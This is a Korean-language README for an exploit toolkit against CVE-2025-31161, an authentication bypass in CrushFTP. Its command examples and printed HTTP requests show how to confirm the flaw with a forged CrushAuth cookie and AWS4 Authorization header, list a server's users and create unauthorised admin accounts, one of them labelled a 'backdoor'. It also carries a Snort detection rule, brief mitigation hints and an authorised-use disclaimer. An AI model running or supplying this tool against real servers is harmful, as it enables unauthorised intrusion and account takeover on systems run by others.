
CVE-2025-31161 (CrushFTP의 인증 우회)를 위한 다국어 익스플로잇 툴킷입니다. 허가된 보안 테스트 및 CTF 챌린지를 위해 취약점 탐지, 사용자 열거, 비인가 관리자 계정 생성을 지원합니다.
CVE-2025-31161을 악용하기 위한 종합 툴킷입니다. CrushFTP의 인증 우회 취약점으로, 인증되지 않은 사용자 계정 생성을 허용합니다.
CVE-2025-31161은 CrushFTP의 치명적인 인증 우회 취약점으로, 공격자가 적절한 인증 없이 승인되지 않은 사용자 계정을 생성할 수 있습니다. 이 취약점은 웹 인터페이스의 사용자 관리 기능에 존재합니다.
-t, -p, -tu 플래그로 빠른 접근CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # 이 문서
├── cve-2025-31161.go # Go 구현 (권장)
├── cve-2025-31161.sh # Bash 구현
└── LICENSE # MIT 라이선스
# Go 설치 (아직 설치되지 않은 경우)
sudo apt install golang-go
# 또는
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# curl 필요 (보통 사전 설치됨)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# 단축 플래그를 사용한 기본 사용법
go run cve-2025-31161.go -t example.com -lu
# 사용자 지정 포트 사용
go run cve-2025-31161.go -t example.com -p 8080 -lu
# 긴 형식 플래그
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# 새 사용자 생성 (사용자 이름/비밀번호 입력 요청)
go run cve-2025-31161.go -t example.com -au
# 사용자 지정 대상 사용자 (기본값: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# 긴 형식 플래그
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# 기본 사용법
./cve-2025-31161.sh -t example.com -lu
# 사용자 지정 포트 사용
./cve-2025-31161.sh -t example.com -p 8080 -lu
# 새 사용자 생성
./cve-2025-31161.sh -t example.com -au
# 사용자 지정 설정
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# 예시 1: 대상의 사용자 열거
go run cve-2025-31161.go -t ftp.example.htb -lu
# 예시 2: 백도어 계정 생성
go run cve-2025-31161.go -t ftp.example.htb -au
# 그런 다음 입력: username: backdoor, password: P@ssw0rd123
# 예시 3: 비표준 포트로 사용자 열거
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# 도움말 보기
./cve-2025-31161.sh --help
flowchart TD
A[Start Exploit] --> B[Check Target Connectivity]
B --> C{Target Reachable?}
C -->|No| D[Exit: Connection Failed]
C -->|Yes| E[Send getUserList Request]
E --> F{Response Contains OK?}
F -->|No| G[Exit: Not Vulnerable]
F -->|Yes| H[Target is Vulnerable!]
H --> I{Mode Selected?}
I -->|List Users -lu| J[Parse XML Response]
J --> K[Display User List]
K --> L[Exit: Success]
I -->|Add User -au| M[Prompt for Username]
M --> N[Prompt for Password]
N --> O[Send Warm-up Request]
O --> P[Craft User Creation Payload]
P --> Q[Send setUserItem Request]
Q --> R{User Created Successfully?}
R -->|Yes| S[Success: Account Created]
R -->|No| T[Failed: Exploitation Failed]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
스크립트는 먼저 getUserList 요청을 보내 대상이 취약한지 확인합니다:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
응답에 <response_status>OK</response_status>가 포함되면 대상이 취약한 것입니다.
-lu 플래그를 사용하면 스크립트가 XML 응답을 파싱하여 사용자 이름을 추출합니다:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
출력:
[+] 사용자:
- ben
- crushadmin
- default
-au 플래그를 사용하면 스크립트가 악성 XML 페이로드와 함께 setUserItem 요청을 보냅니다:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
스크립트는 응답에 <response_status>OK</response_status>가 있는지 확인하여 사용자 생성 성공을 확인합니다.
이 취약점은 CrushFTP 웹 인터페이스의 사용자 관리 기능에서 인증 검사가 충분하지 않아 발생합니다. 애플리케이션이 호출자의 권한을 적절히 검증하지 않고 사용자 생성 요청을 수락합니다.
setUserItem 요청 모니터링/webinterface/function/ 엔드포인트에 대한 접근 차단# Snort/Suricata 규칙 예시
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ 중요: 이 도구는 다음 용도로 설계되었습니다:
명시적 서면 허가 없이 시스템에 사용하지 마십시오. 무단 컴퓨터 시스템 접근은 불법이며 심각한 법적 결과를 초래할 수 있습니다.
기여를 환영합니다! 다음 단계를 따르세요:
git checkout -b feature/improvement).git commit -am 'Add new feature').git push origin feature/improvement).| 버전 | 날짜 | 변경 사항 |
|---|---|---|
| 1.0.0 | 2025-01-XX | Go 및 Bash 구현으로 첫 릴리스 |
| 1.1.0 | 2025-01-XX | 대화형 모드 및 취약점 탐지 |
| 1.2.0 | 2025-10-02 | 사용자 열거(-lu) 추가, 별도의 사용자 추가 모드(-au), 단축 플래그(-t, -p, -tu) 추가 |
질문, 제안 또는 보안 문제가 있으면 이 저장소에 이슈를 열어 주세요.
| 플래그 | 긴 형식 | 설명 | 기본값 |
|---|
-t | --target_host | 대상 호스트명 또는 IP (필수) | - |
-p | --port | 대상 포트 | 80 |
-tu | --target_user | 악용에 사용할 대상 사용자 | crushadmin |
-lu | --list-users | 기존 사용자 목록 보기 | - |
-au | --add-user | 새 사용자 추가 (대화형) | - |
--help | 도움말 메시지 보기 | - |